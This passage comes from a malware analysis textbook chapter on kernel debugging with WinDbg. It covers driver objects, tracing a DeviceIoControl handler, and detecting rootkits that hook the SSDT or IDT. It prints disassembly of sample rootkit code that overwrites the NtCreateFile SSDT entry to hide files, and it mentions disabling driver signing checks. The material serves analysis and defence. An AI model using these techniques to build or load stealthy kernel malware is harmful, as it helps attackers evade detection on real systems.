know much about a function, but the name tells us that this function creates 
address space for a process. You can also use the symbol name to find func-
tions and data in memory.

Searching for Symbols
The format for referring to a symbol in WinDbg is as follows:

moduleName!symbolName

This syntax can be used anywhere that normally has an address. The 
moduleName is the name of the .exe, .dll, or .sys file that contains the symbol 
without the extension, and the symbolName is the name associated with the 
address. However, ntoskrnl.exe is a special case and the module name is 
nt, not ntoskrnl. For example, if you want to look at disassembly of the 
NtCreateProcess function in ntoskrnl.exe, you would use the disassemble com-
mand u (which stands for unassemble) with the parameter nt!NtCreateProcess. 
If you don’t specify a library name, WinDbg will search through all of the 
loaded modules for a matching symbol. This can take a long time because 
it must load and search symbols for every module.

The bu command allows you to use symbols to set a deferred breakpoint 
on code that isn’t yet loaded. A deferred breakpoint is a breakpoint that will be 
set when a module is loaded that matches a specified name. For example, 
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the command bu newModule!exportedFunction will instruct WinDbg to set a 
breakpoint on exportedFunction as soon as a module is loaded with the name 
newModule. When analyzing kernel modules, it is particularly useful to combine 
this with the $iment command, which determines the entry point of a given 
module. The command bu $iment(driverName) will set a breakpoint on the 
entry point of a driver before any of the driver’s code has a chance to run.

The x command allows you to search for functions or symbols using 
wildcards. For example, if you’re looking for kernel functions that perform 
process creation, you can search for any function within ntoskrnl.exe that 
includes the string CreateProcess. The command x nt!*CreateProcess* will 
display exported functions as well as internal functions. The following is 
the output for x nt!*CreateProcess*.

0:003> x nt!*CreateProcess*
805c736a nt!NtCreateProcessEx = <no type information>
805c7420 nt!NtCreateProcess = <no type information>
805c6a8c nt!PspCreateProcess = <no type information>
804fe144 nt!ZwCreateProcess = <no type information>
804fe158 nt!ZwCreateProcessEx = <no type information>
8055a300 nt!PspCreateProcessNotifyRoutineCount = <no type information>
805c5e0a nt!PsSetCreateProcessNotifyRoutine = <no type information>
8050f1a2 nt!MmCreateProcessAddressSpace = <no type information>
8055a2e0 nt!PspCreateProcessNotifyRoutine = <no type information>

Another useful command is the ln command, which will list the closest 
symbol for a given memory address. This can be used to determine to which 
function a pointer is directed. For example, let’s say we see a call function to 
address 0x805717aa and we want to know the purpose of the code at that 
address. We could issue the following command:

0:002> ln 805717aa
kd> ln ntreadfile

 (805717aa)   nt!NtReadFile   |  (80571d38)   nt!NtReadFileScatter
Exact matches:

 nt!NtReadFile = <no type information>

The first line  shows the two closest matches, and the last line  shows 
the exact match. Only the first line is displayed if there is no exact match.

Viewing Structure Information
The Microsoft symbols also include type information for many structures, 
including internal types that are not documented elsewhere. This is useful 
for a malware analyst, since malware often manipulates undocumented struc-
tures. Listing 10-2 shows the first few lines of a driver object structure, which 
stores information about a kernel driver.

0:000> dt nt!_DRIVER_OBJECT
kd> dt nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
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   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B

 +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32     long 
   +0x030 DriverStartIo    : Ptr32     void 
   +0x034 DriverUnload     : Ptr32     void 
   +0x038 MajorFunction    : [28] Ptr32     long 

Listing 10-2: Viewing type information for a structure

The structure names hint at what data is stored within the structure. For 
example, at offset 0x00c  there is a pointer that reveals where the driver is 
loaded in memory.

WinDbg allows you to overlay data onto the structure. Let’s say that we 
know there is a driver object at offset 828b2648, and we want to show the 
structure along with each of the values from a particular driver. Listing 10-3 
shows how to accomplish this.

kd> dt nt!_DRIVER_OBJECT 828b2648 
   +0x000 Type             : 4
   +0x002 Size             : 168
   +0x004 DeviceObject     : 0x828b0a30 _DEVICE_OBJECT
   +0x008 Flags            : 0x12
   +0x00c DriverStart      : 0xf7adb000 
   +0x010 DriverSize       : 0x1080
   +0x014 DriverSection    : 0x82ad8d78 
   +0x018 DriverExtension  : 0x828b26f0 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING "\Driver\Beep"
   +0x024 HardwareDatabase : 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\
HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch   : (null) 
   +0x02c DriverInit       : 0xf7adb66c long  Beep!DriverEntry+0
   +0x030 DriverStartIo    : 0xf7adb51a     void  Beep!BeepStartIo+0
   +0x034 DriverUnload     : 0xf7adb620     void  Beep!BeepUnload+0
   +0x038 MajorFunction    : [28] 0xf7adb46a     long  Beep!BeepOpen+0

Listing 10-3: Overlaying data onto a structure

This is the beep driver, which is built into Windows to make a beeping 
noise when something is wrong. We can see that the initialization function 
that is called when the driver is loaded is located at offset 0xf7adb66c . If this 
were a malicious driver, we would want to see what code was located at that 
address because that code is always called first when the driver is loaded. The 
initialization function is the only function called every time a driver is loaded. 
Malware will sometimes place its entire malicious payload in this function.
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Configuring Windows Symbols
Symbols are specific to the version of the files being analyzed, and can change 
with every update or hotfix. When configured properly, WinDbg will query 
Microsoft’s server and automatically get the correct symbols for the files that 
are currently being debugged. You can set the symbol file path by selecting 
FileSymbol File Path. To configure WinDbg to use the online symbol 
server, enter the following path:

SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols

The SRV configures a server, the path c:\websymbols is a local cache for sym-
bol information, and the URL is the fixed location of the Microsoft symbol 
server.

If you’re debugging on a machine that is not continuously connected to 
the Internet, you can manually download the symbols from Microsoft. Down-
load the symbols specific to the OS, service pack, and architecture that you 
are using. The symbol files are usually a couple hundred megabytes because 
they contain the symbol information for all the different hotfix and patch 
versions for that OS and service pack.

Kernel Debugging in Practice

In this section, we’ll examine a program that writes to files from kernel 
space. For malware authors, the benefit of writing to files from kernel space 
is that it is more difficult to detect. This isn’t the stealthiest way to write to a 
file, but it will get past certain security products, and can mislead malware 
analysts who are looking for telltale calls in the user space to CreateFile or 
WriteFile functions. The normal Win32 functions are not easily accessible 
from kernel mode, which presents a challenge for malware authors, but 
there are similar functions that are used regularly in malware written from 
the kernel. Since the CreateFile and WriteFile functions are not available 
in the kernel mode, the NtCreateFile and NtWriteFile functions are used 
instead.

Looking at the User-Space Code
In our example, a user-space component creates a driver that will read and 
write the files in the kernel. First we look at our user-space code in IDA Pro 
to investigate what functions it calls to interact with a driver as shown in 
Listing 10-4.

04001B3D  push    esi             ; lpPassword
04001B3E  push    esi             ; lpServiceStartName
04001B3F  push    esi             ; lpDependencies
04001B40  push    esi             ; lpdwTagId
04001B41  push    esi             ; lpLoadOrderGroup
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04001B42  push    [ebp+lpBinaryPathName] ; lpBinaryPathName
04001B45  push    1               ; dwErrorControl
04001B47  push    3               ; dwStartType
04001B49  push 1               ; dwServiceType
04001B4B  push    0F01FFh         ; dwDesiredAccess
04001B50  push    [ebp+lpDisplayName] ; lpDisplayName
04001B53  push    [ebp+lpDisplayName] ; lpServiceName
04001B56  push    [ebp+hSCManager] ; hSCManager
04001B59  call    ds:__imp__CreateServiceA@52

Listing 10-4: Creating a service to load a kernel driver

We see in the service manager routines that a driver is being created with 
the CreateService function. Note the parameter for dwService type  is 0x01. 
This value indicates that this is a kernel driver.

Then we see in Listing 10-5 that a file is being created to get a handle 
to a device with a call to CreateFileA at . The filename pushed onto the 
stack is stored in EDI at . (Not pictured is the EDI being loaded with the 
string \\.\FileWriterDevice, which is the name of the object created by the 
driver for the user-space application to access.)

04001893                 xor     eax, eax
04001895                 push    eax             ; hTemplateFile
04001896                 push    80h             ; dwFlagsAndAttributes
0400189B                 push    2               ; dwCreationDisposition
0400189D                 push    eax             ; lpSecurityAttributes
0400189E                 push    eax             ; dwShareMode
0400189F                 push    ebx             ; dwDesiredAccess
040018A0 push    edi             ; lpFileName
040018A1 call    esi ; CreateFileA

Listing 10-5: Obtaining a handle to a device object

Once the malware has a handle to the device, it uses the DeviceIoControl 
function at  to send data to the driver as shown in Listing 10-6.

04001910  push    0               ; lpOverlapped
04001912  sub     eax, ecx
04001914  lea     ecx, [ebp+BytesReturned]
0400191A  push    ecx             ; lpBytesReturned
0400191B  push    64h             ; nOutBufferSize
0400191D  push    edi             ; lpOutBuffer
0400191E  inc     eax
0400191F  push    eax             ; nInBufferSize
04001920  push    esi             ; lpInBuffer
04001921  push    9C402408h       ; dwIoControlCode
04001926  push    [ebp+hObject]   ; hDevice
0400192C  call    ds:DeviceIoControl

Listing 10-6: Using DeviceIoControl to communicate from user space to kernel space
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Looking at the Kernel-Mode Code
At this point, we’ll switch gears to look at the kernel-mode code. We 
will dynamically analyze the code that will be executed as a result of the 
DeviceIoControl call by debugging the kernel.

The first step is to find the driver in the kernel. If you’re running WinDbg 
with a kernel debugger attached and verbose output enabled, you will be 
alerted whenever a kernel module is loaded. Kernel modules are not loaded 
and unloaded often, so if you are debugging your malware and a kernel 
module is loaded, then you should be suspicious of the module.

NOTE When using VMware for kernel debugging, you will see KMixer.sys frequently loaded 
and unloaded. This is normal and not associated with any malicious activity.

In the following example, we see that the FileWriter.sys driver has been 
loaded in the kernel debugging window. Likely, this is the malicious driver.

ModLoad: f7b0d000 f7b0e780   FileWriter.sys

To determine which code is called in the malicious driver, we need to 
find the driver object. Since we know the driver name, we can find the driver 
object with the !drvobj command. Listing 10-7 shows example output:

kd> !drvobj FileWriter
Driver object (827e3698) is for:
Loading symbols for f7b0d000   FileWriter.sys ->   FileWriter.sys
*** ERROR: Module load completed but symbols could not be loaded for FileWriter.sys
 \Driver\FileWriter
Driver Extension List: (id , addr)

Device Object list:
826eb030  

Listing 10-7: Viewing a driver object for a loaded driver

NOTE Sometimes the driver object will have a different name or !drvobj will fail. As an alter-
native, you can browse the driver objects with the !object \Driver command. This 
command lists all the objects in the \Driver namespace, which is one of the root 
namespaces discussed in Chapter 7.

The driver object is stored at address 0x827e3698 at . Once we have the 
address for the driver object, we can look at its structure using the dt com-
mand, as shown in Listing 10-8.

kd>dt nt!_DRIVER_OBJECT 0x827e3698
nt!_DRIVER_OBJECT
   +0x000 Type             : 4
   +0x002 Size             : 168
   +0x004 DeviceObject     : 0x826eb030 _DEVICE_OBJECT
   +0x008 Flags            : 0x12
   +0x00c DriverStart      : 0xf7b0d000 
   +0x010 DriverSize       : 0x1780
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   +0x014 DriverSection    : 0x828006a8 
   +0x018 DriverExtension  : 0x827e3740 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING "\Driver\FileWriter"
   +0x024 HardwareDatabase : 0x8066ecd8 _UNICODE_STRING "\REGISTRY\MACHINE\

HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch   : (null) 
   +0x02c DriverInit       : 0xf7b0dfcd     long  +0
   +0x030 DriverStartIo    : (null) 
   +0x034 DriverUnload     : 0xf7b0da2a     void  +0
   +0x038 MajorFunction    : [28] 0xf7b0da06     long  +0

Listing 10-8: Viewing a device object in the kernel

The entry for MajorFunction in this structure is a pointer to the first entry 
of the major function table. The major function table tells us what is exe-
cuted when the malicious driver is called from user space. The table has dif-
ferent functions at each index. Each index represents a different type of 
request, and the indices are found in the file wdm.h and start with IRP_MJ_. 
For example, if we want to find out which offset in the table is called 
when a user-space application calls DeviceIoControl, we would look for the 
index of IRP_MJ_DEVICE_CONTROL. In this case, IRP_MJ_DEVICE_CONTROL has a value 
of 0xe, and the major function table starts at an offset of 0x038 from the begin-
ning of the driver object. To find the function that will be called to handle 
the DeviceIoControl request, use the command dd 827e3698+0x38+e*4 L1. 
The 0x038 is the offset to the beginning of the table, 0xe is the index of the 
IRP_MJ_DEVICE_CONTROL, and it’s multiplied by 4 because each pointer is 4 bytes. 
The L1 argument specifies that we want to see only one DWORD of output.

The preceding command shows that the function called in the kernel is 
at 0xf7b0da66, as shown in Listing 10-9. We can check to see if the instruc-
tions at that address look valid by using the u command. In this case they 
do, but if they did not, it could mean that we made an error in the address 
calculation.

kd> dd 827e3698+0x38+e*4 L1
827e3708  f7b0da66
kd> u f7b0da66
FileWriter+0xa66:
f7b0da66 6a68            push    68h
f7b0da68 6838d9b0f7      push    offset FileWriter+0x938 (f7b0d938)
f7b0da6d e822faffff      call    FileWriter+0x494 (f7b0d494)

Listing 10-9: Locating the function for IRP_MJ_DEVICE_CONTROL in a driver object

Now that we have the address, we can either load the kernel driver into 
IDA Pro or set a breakpoint on that function and continue to analyze it 
within WinDbg. It’s usually easier to start by analyzing the function in IDA 
Pro and then use WinDbg if further analysis is needed. While scanning 
through the IDA Pro output of our malicious example driver, we found the 
code in Listing 10-10, which calls ZwCreateFile and ZwWriteFile to write to a file 
from kernel space.
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F7B0DCB1  push    offset aDosdevicesCSec ; "\\DosDevices\\C:\\secretfile.txt"
F7B0DCB6  lea     eax, [ebp-54h]
F7B0DCB9  push    eax             ; DestinationString
F7B0DCBA  call ds:RtlInitUnicodeString
F7B0DCC0  mov     dword ptr [ebp-74h], 18h
F7B0DCC7  mov     [ebp-70h], ebx
F7B0DCCA  mov     dword ptr [ebp-68h], 200h
F7B0DCD1  lea     eax, [ebp-54h]
F7B0DCD4  mov     [ebp-6Ch], eax
F7B0DCD7  mov     [ebp-64h], ebx
F7B0DCDA  mov     [ebp-60h], ebx
F7B0DCDD  push    ebx             ; EaLength
F7B0DCDE  push    ebx             ; EaBuffer
F7B0DCDF  push    40h             ; CreateOptions
F7B0DCE1  push    5               ; CreateDisposition
F7B0DCE3  push    ebx             ; ShareAccess
F7B0DCE4  push    80h             ; FileAttributes
F7B0DCE9  push    ebx             ; AllocationSize
F7B0DCEA  lea     eax, [ebp-5Ch]
F7B0DCED  push    eax             ; IoStatusBlock
F7B0DCEE  lea     eax, [ebp-74h]
F7B0DCF1  push    eax             ; ObjectAttributes
F7B0DCF2  push    1F01FFh         ; DesiredAccess
F7B0DCF7  push    offset FileHandle ; FileHandle
F7B0DCFC  call    ds:ZwCreateFile
F7B0DD02  push    ebx             ; Key
F7B0DD03  lea     eax, [ebp-4Ch]
F7B0DD06  push    eax             ; ByteOffset
F7B0DD07  push    dword ptr [ebp-24h] ; Length
F7B0DD0A  push    esi             ; Buffer
F7B0DD0B  lea     eax, [ebp-5Ch]
F7B0DD0E  push    eax             ; IoStatusBlock
F7B0DD0F  push    ebx             ; ApcContext
F7B0DD10  push    ebx             ; ApcRoutine
F7B0DD11  push    ebx             ; Event
F7B0DD12  push    FileHandle      ; FileHandle
F7B0DD18  call    ds:ZwWriteFile

Listing 10-10: Code listing for IRP_MJ_DEVICE_CONTROL function

The Windows kernel uses a UNICODE_STRING structure, which is different 
from the wide character strings in user space. The RtlInitUnicodeString func-
tion at  is used to create kernel strings. The second parameter to the function 
is a NULL-terminated wide character string of the UNICODE_STRING being created.

The filename for the ZwCreateFile function is \DosDevices\C:\secretfile.txt. To 
create a file from within the kernel, you must specify a fully qualified object 
name that identifies the root device involved. For most devices, this is the 
familiar object name preceded by \DosDevices.

DeviceIoControl is not the only function that can send data from user 
space to kernel drivers. CreateFile, ReadFile, WriteFile, and other functions 
can also do this. For example, if a user-mode application calls ReadFile on a 
handle to a device, the IRP_MJ_READ function is called. In our example, we 
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found the function for DeviceIoControl by adding 0xe*4 to the beginning of 
the major function table because IRP_MJ_DEVICE_CONTROL has a value of 0xe. 
To find the function for read requests, we add 0x3*4 to the beginning of the 
major function table instead of 0xe*4 because the value of IRP_MJ_READ is 0x3.

Finding Driver Objects
In the previous example, we saw that a driver was loaded in kernel space when 
we ran our malware, and we assumed that it was the infected driver. Sometimes 
the driver object will be more difficult to find, but there are tools that can help. 
To understand how these tools work, recall that applications interact with 
devices, not drivers. From the user-space application, you can identify the 
device object and then use the device object to find the driver object. You 
can use the !devobj command to get device object information by using the 
name of the device specified by the CreateFile call from the user-space code.

kd> !devobj FileWriterDevice
Device object (826eb030) is for:
 Rootkit \Driver\FileWriter DriverObject 827e3698
Current Irp 00000000 RefCount 1 Type 00000022 Flags 00000040
Dacl e13deedc DevExt 00000000 DevObjExt 828eb0e8 
ExtensionFlags (0000000000)  
Device queue is not busy.

The device object provides a pointer to the driver object, and once you 
have the address for the driver object, you can find the major function table.

After you’ve identified the malicious driver, you might still need to figure 
out which application is using it. One of the outputs of the !devobj command 
that we just ran is a handle for the device object. You can use that handle 
with the !devhandles command to obtain a list of all user-space applications 
that have a handle to that device. This command iterates through every 
handle table for every process, which takes a long time. The following is the 
abbreviated output for the !devhandles command, which reveals that the 
FileWriterApp.exe application was using the malicious driver in this case.

kd>!devhandles 826eb030  
...
Checking handle table for process 0x829001f0
Handle table at e1d09000 with 32 Entries in use

Checking handle table for process 0x8258d548
Handle table at e1cfa000 with 114 Entries in use

Checking handle table for process 0x82752da0
Handle table at e1045000 with 18 Entries in use
PROCESS 82752da0  SessionId: 0  Cid: 0410    Peb: 7ffd5000  ParentCid: 075c
    DirBase: 09180240  ObjectTable: e1da0180  HandleCount:  18.
    Image: FileWriterApp.exe

07b8: Object: 826eb0e8  GrantedAccess: 0012019f
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Now that we know which application is affected, we can find it in user 
space and analyze it using the techniques discussed throughout this book.

We have covered the basics of analyzing malicious kernel drivers. Next, 
we’ll turn to techniques for analyzing rootkits, which are usually imple-
mented as a kernel driver.

Rootkits

Rootkits modify the internal functionality of the OS to conceal their exis-
tence. These modifications can hide files, processes, network connections, 
and other resources from running programs, making it difficult for antivirus 
products, administrators, and security analysts to discover malicious activity.

The majority of rootkits in use operate by somehow modifying the ker-
nel. Although rootkits can employ a diverse array of techniques, in practice, 
one technique is used more than any other: System Service Descriptor Table 
hooking. This technique is several years old and easy to detect relative to other 
rootkit techniques. However, it’s still used by malware because it’s easy to 
understand, flexible, and straightforward to implement.

The System Service Descriptor Table (SSDT), sometimes called the 
System Service Dispatch Table, is used internally by Microsoft to look up 
function calls into the kernel. It isn’t normally accessed by any third-party 
applications or drivers. Recall from Chapter 7 that kernel code is only 
accessible from user space via the SYSCALL, SYSENTER, or INT 0x2E instructions. 
Modern versions of Windows use the SYSENTER instruction, which gets instruc-
tions from a function code stored in register EAX. Listing 10-11 shows the 
code from ntdll.dll, which implements the NtCreateFile function and must 
handle the transitions from user space to kernel space that happen every 
time NtCreateFile is called.

7C90D682mov     eax, 25h        ; NtCreateFile
7C90D687  mov     edx, 7FFE0300h
7C90D68C  call    dword ptr [edx]
7C90D68E  retn    2Ch

Listing 10-11: Code for NtCreateFile function

The call to dword ptr[edx] will go to the following instructions:

7c90eb8b 8bd4  mov     edx,esp
7c90eb8d 0f34  sysenter

EAX is set to 0x25  in Listing 10-11, the stack pointer is saved in EDX, 
and then the sysenter instruction is called. The value in EAX is the function 
number for NtCreateFile, which will be used as an index into the SSDT when 
the code enters the kernel. Specifically, the address at offset 0x25  in the 
SSDT will be called in kernel mode. Listing 10-12 shows a few entries in 
the SSDT with the entry for NtCreateFile shown at offset 25.
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SSDT[0x22] = 805b28bc (NtCreateaDirectoryObject) 
SSDT[0x23] = 80603be0 (NtCreateEvent) 
SSDT[0x24] = 8060be48 (NtCreateEventPair)

 SSDT[0x25] = 8056d3ca (NtCreateFile)
SSDT[0x26] = 8056bc5c (NtCreateIoCompletion)
SSDT[0x27] = 805ca3ca (NtCreateJobObject)

Listing 10-12: Several entries of the SSDT table showing NtCreateFile

When a rootkit hooks one these functions, it will change the value in the 
SSDT so that the rootkit code is called instead of the intended function in 
the kernel. In the preceding example, the entry at 0x25 would be changed so 
that it points to a function within the malicious driver. This change can mod-
ify the function so that it’s impossible to open and examine the malicious 
file. It’s normally implemented in rootkits by calling the original NtCreateFile 
and filtering the results based on the settings of the rootkit. The rootkit will 
simply remove any files that it wants to hide in order to prevent other appli-
cations from obtaining a handle to the files.

A rootkit that hooks only NtCreateFile will not prevent the file from being 
visible in a directory listing. In the labs for this chapter, you’ll see a more 
realistic rootkit that hides files from directory listings.

Rootkit Analysis in Practice
Now we’ll look at an example of a rootkit that hooks the SSDT. We’ll analyze 
a hypothetical infected system, which we think may have a malicious driver 
installed.

The first and most obvious way to check for SSDT hooking is to exam-
ine the SSDT. The SSDT can be viewed in WinDbg at the offset stored at 
nt!KeServiceDescriptorTable. All of the function offsets in the SSDT should 
point to functions within the boundaries of the NT module, so the first 
thing we did was obtain those boundaries. In our case, ntoskrnl.exe starts 
at address 804d7000 and ends at 806cd580. If a rootkit is hooking one of 
these functions, the function will probably not point into the NT module. 
When we examine the SSDT, we see that there is a function that looks like 
it does not fit. Listing 10-13 is a shortened version of the SSDT.

kd> lm m nt
...
8050122c  805c9928 805c98d8 8060aea6 805aa334
8050123c  8060a4be 8059cbbc 805a4786 805cb406
8050124c  804feed0 8060b5c4 8056ae64 805343f2
8050125c  80603b90 805b09c0 805e9694 80618a56
8050126c  805edb86 80598e34 80618caa 805986e6
8050127c  805401f0 80636c9c 805b28bc 80603be0
8050128c  8060be48 f7ad94a4 8056bc5c 805ca3ca
8050129c  805ca102 80618e86 8056d4d8 8060c240
805012ac  8056d404 8059fba6 80599202 805c5f8e

Listing 10-13: A sample SSDT table with one entry overwritten by a rootkit
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The value at offset 0x25 in this table at  points to a function that is 
outside the ntoskrnl module, so a rootkit is likely hooking that function. 
The function being hooked in this case is NtCreateFile. We can figure out 
which function is being hooked by examining the SSDT on the system with-
out the rootkit installed and seeing which function is located at the offset. 
We can find out which module contains the hook address by listing the 
open modules with the lm command as shown in Listing 10-14. In the kernel, 
the modules listed are all drivers. We find the driver that contains the address 
0xf7ad94a4, and we see that it is within the driver called Rootkit.

kd>lm
...
f7ac7000 f7ac8580   intelide   (deferred)
f7ac9000 f7aca700   dmload     (deferred)
f7ad9000 f7ada680   Rootkit    (deferred)
f7aed000 f7aee280   vmmouse    (deferred)
...

Listing 10-14: Using the lm command to find which driver contains a particular address

Once we identify the driver, we will look for the hook code and start 
to analyze the driver. We’ll look for two things: the section of code that 
installs the hook and the function that executes the hook. The simplest way 
to find the function that installs the hook is to search in IDA Pro for data 
references to the hook function. Listing 10-15 is an assembly listing for 
code that hooks the SSDT. 

00010D0D  push    offset aNtcreatefile ; "NtCreateFile"
00010D12  lea     eax, [ebp+NtCreateFileName]
00010D15  push    eax             ; DestinationString
00010D16  mov     edi, ds:RtlInitUnicodeString
00010D1C  call edi ; RtlInitUnicodeString
00010D1E  push    offset aKeservicedescr ; "KeServiceDescriptorTable"
00010D23  lea     eax, [ebp+KeServiceDescriptorTableString]
00010D26  push    eax             ; DestinationString
00010D27  call edi ; RtlInitUnicodeString
00010D29  lea     eax, [ebp+NtCreateFileName]
00010D2C  push    eax             ; SystemRoutineName
00010D2D  mov     edi, ds:MmGetSystemRoutineAddress
00010D33  call edi ; MmGetSystemRoutineAddress
00010D35  mov     ebx, eax
00010D37  lea     eax, [ebp+KeServiceDescriptorTableString]
00010D3A  push    eax             ; SystemRoutineName
00010D3B  call    edi ; MmGetSystemRoutineAddress
00010D3D  mov     ecx, [eax]
00010D3F  xor     edx, edx
00010D41                     ; CODE XREF: sub_10CE7+68 j
00010D41  add ecx, 4
00010D44  cmp     [ecx], ebx
00010D46  jz      short loc_10D51
00010D48  inc     edx
00010D49  cmp     edx, 11Ch
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00010D4F  jl short loc_10D41
00010D51                     ; CODE XREF: sub_10CE7+5F j
00010D51  mov     dword_10A0C, ecx
00010D57  mov     dword_10A08, ebx
00010D5D  mov dword ptr [ecx], offset sub_104A4

Listing 10-15: Rootkit code that installs a hook in the SSDT

This code hooks the NtCreateFile function. The first two function calls at 
 and  create strings for NtCreateFile and KeServiceDescriptorTable that will 
be used to find the address of the exports, which are exported by ntoskrnl.exe 
and can be imported by kernel drivers just like any other value. These exports 
can also be retrieved at runtime. You can’t load GetProcAddress from kernel 
mode, but the MmGetSystemRoutineAddress is the kernel equivalent, although 
it is slightly different from GetProcAddress in that it can get the address for 
exports only from the hal and ntoskrnl kernel modules.

The first call to MmGetSystemRoutineAddress  reveals the address of the 
NtCreateFile function, which will be used by the malware to determine which 
address in the SSDT to overwrite. The second call to MmGetSystemRoutineAddress 
gives us the address of the SSDT itself.

Next there is a loop from  to , which iterates through the SSDT until 
it finds a value that matches the address of NtCreateFile, which it will over-
write with the function hook.

The hook is installed by the last instruction in this listing at , wherein 
the procedure address is copied to a memory location.

The hook function performs a few simple tasks. It filters out certain 
requests while allowing others to pass to the original NtCreateFile. Listing 10-16 
shows the hook function.

000104A4  mov     edi, edi
000104A6  push    ebp
000104A7  mov     ebp, esp
000104A9  push    [ebp+arg_8]
000104AC  call sub_10486
000104B1  test    eax, eax
000104B3  jz      short loc_104BB
000104B5  pop     ebp
000104B6  jmp     NtCreateFile
000104BB -----------------------------
000104BB                ; CODE XREF: sub_104A4+F j
000104BB  mov     eax, 0C0000034h
000104C0  pop     ebp
000104C1  retn    2Ch

Listing 10-16: Listing of the rootkit hook function

The hook function jumps to the original NtCreateFile function for some 
requests and returns to 0xC0000034 for others. The value 0xC0000034 corre-
sponds to STATUS_OBJECT_NAME_NOT_FOUND. The call at  contains code (not 
shown) that evaluates the ObjectAttributes (which contains information 
about the object, such as filename) of the file that the user-space program 
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is attempting to open. The hook function returns a nonzero value if the 
NtCreateFile function is allowed to proceed, or a zero if the rootkit blocks the 
file from being opened. If the hook function returns a zero, the user-space 
applications will receive an error indicating that the file does not exist. This 
will prevent user applications from obtaining a handle to particular files 
while not interfering with other calls to NtCreateFile.

Interrupts
Interrupts are sometimes used by rootkits to interfere with system events. 
Modern processors implement interrupts as a way for hardware to trigger 
software events. Commands are issued to hardware, and the hardware will 
interrupt the processor when the action is complete.

Interrupts are sometimes used by drivers or rootkits to execute code. A 
driver calls IoConnectInterrupt to register a handler for a particular interrupt 
code, and then specifies an interrupt service routine (ISR), which the OS will 
call every time that interrupt code is generated.

The Interrupt Descriptor Table (IDT) stores the ISR information, 
which you can view with the !idt command. Listing 10-17 shows a normal 
IDT, wherein all of the interrupts go to well-known drivers that are signed 
by Microsoft.

kd> !idt

37:   806cf728 hal!PicSpuriousService37
3d:   806d0b70 hal!HalpApcInterrupt
41:   806d09cc hal!HalpDispatchInterrupt
50:   806cf800 hal!HalpApicRebootService
62:   8298b7e4 atapi!IdePortInterrupt (KINTERRUPT 8298b7a8)
63:   826ef044 NDIS!ndisMIsr (KINTERRUPT 826ef008)
73:   826b9044 portcls!CKsShellRequestor::`vector deleting destructor'+0x26

(KINTERRUPT 826b9008)
            USBPORT!USBPORT_InterruptService (KINTERRUPT 826df008)
82:   82970dd4 atapi!IdePortInterrupt (KINTERRUPT 82970d98)
83:   829e8044 SCSIPORT!ScsiPortInterrupt (KINTERRUPT 829e8008)
93:   826c315c i8042prt!I8042KeyboardInterruptService (KINTERRUPT 826c3120)
a3:   826c2044 i8042prt!I8042MouseInterruptService (KINTERRUPT 826c2008)
b1:   829e5434 ACPI!ACPIInterruptServiceRoutine (KINTERRUPT 829e53f8)
b2:   826f115c serial!SerialCIsrSw (KINTERRUPT 826f1120)
c1:   806cf984 hal!HalpBroadcastCallService
d1:   806ced34 hal!HalpClockInterrupt
e1:   806cff0c hal!HalpIpiHandler
e3:   806cfc70 hal!HalpLocalApicErrorService
fd:   806d0464 hal!HalpProfileInterrupt
fe:   806d0604 hal!HalpPerfInterrupt

Listing 10-17: A sample IDT

Interrupts going to unnamed, unsigned, or suspicious drivers could indi-
cate a rootkit or other malicious software.
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Loading Drivers

Throughout this chapter, we have assumed that the malware being analyzed 
includes a user-space component to load it. If you have a malicious driver, but 
no user-space application to install it, you can load the driver using a loader 
such as the OSR Driver Loader tool, as shown in Figure 10-4. This driver loader 
is very easy to use, and it’s free, but it requires registration. Once you have OSR 
Driver Loader installed, simply run the driver loader and specify the driver to 
load, and then click Register Service and Start Service to start the driver.

Figure 10-4: OSR Driver Loader tool window

Kernel Issues for Windows Vista, Windows 7, and x64 
Versions

Several major changes have been made in the newer versions of Windows 
that impact the kernel-debugging process and the effectiveness of kernel 
malware. Most malware still targets x86 machines running Windows XP, 
but as Windows 7 and x64 gain popularity, so will malware targeting those 
systems.

One major change is that since Windows Vista, the boot.ini file is no lon-
ger used to determine which OS to boot. Recall that we used the boot.ini file 
to enable kernel debugging earlier in this chapter. Vista and later versions 
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of Windows use a program called BCDEdit to edit the boot configuration 
data, so you would use BCDEdit to enable kernel debugging on the newer 
Windows OSs.

The biggest security change is the implementation of a kernel protection 
patch mechanism commonly called PatchGuard, implemented in the x64 
versions of Windows starting with Windows XP. Kernel patch protection 
prevents third-party code from modifying the kernel. This includes modifica-
tions to the kernel code itself, modifications to system service tables, modifi-
cations to the IDT, and other patching techniques. This feature was somewhat 
controversial when introduced because kernel patching is used by both 
malicious programs and nonmalicious programs. For example, firewalls, 
antivirus programs, and other security products regularly use kernel patch-
ing to detect and prevent malicious activity.

Kernel patch protection can also interfere with debugging on a 64-bit 
system because the debugger patches the code when inserting breakpoints, 
so if a kernel debugger is attached to the OS at boot time, the patch protec-
tion will not run. However, if you attach a kernel debugger after booting up, 
PatchGuard will cause a system crash.

Driver signing is enforced on 64-bit versions of Windows starting with 
Vista, which means that you can’t load a driver into a Windows Vista machine 
unless it is digitally signed. Malware is usually not signed, so it’s an effective 
security measure against malicious kernel drivers. In fact, kernel malware 
for x64 systems is practically nonexistent, but as x64 versions of Windows 
become more prevalent, malware will undoubtedly evolve to work around 
this barrier. If you need to load an unsigned driver on an x64 Vista system, 
you can use the BCDEdit utility to modify the boot options. Specifically, 
nointegritychecks disables the requirement that drivers be signed.

Conclusion

WinDbg is a useful debugger that provides a number of features that OllyDbg 
does not, including the ability to debug the kernel. Malware that uses the 
kernel is not common, but it exists, and malware analysts should know how 
to handle it.

In this chapter, we’ve covered how kernel drivers work, how to use 
WinDbg to analyze them, how to find out which kernel code will be exe-
cuted when a user-space application makes a request, and how to analyze 
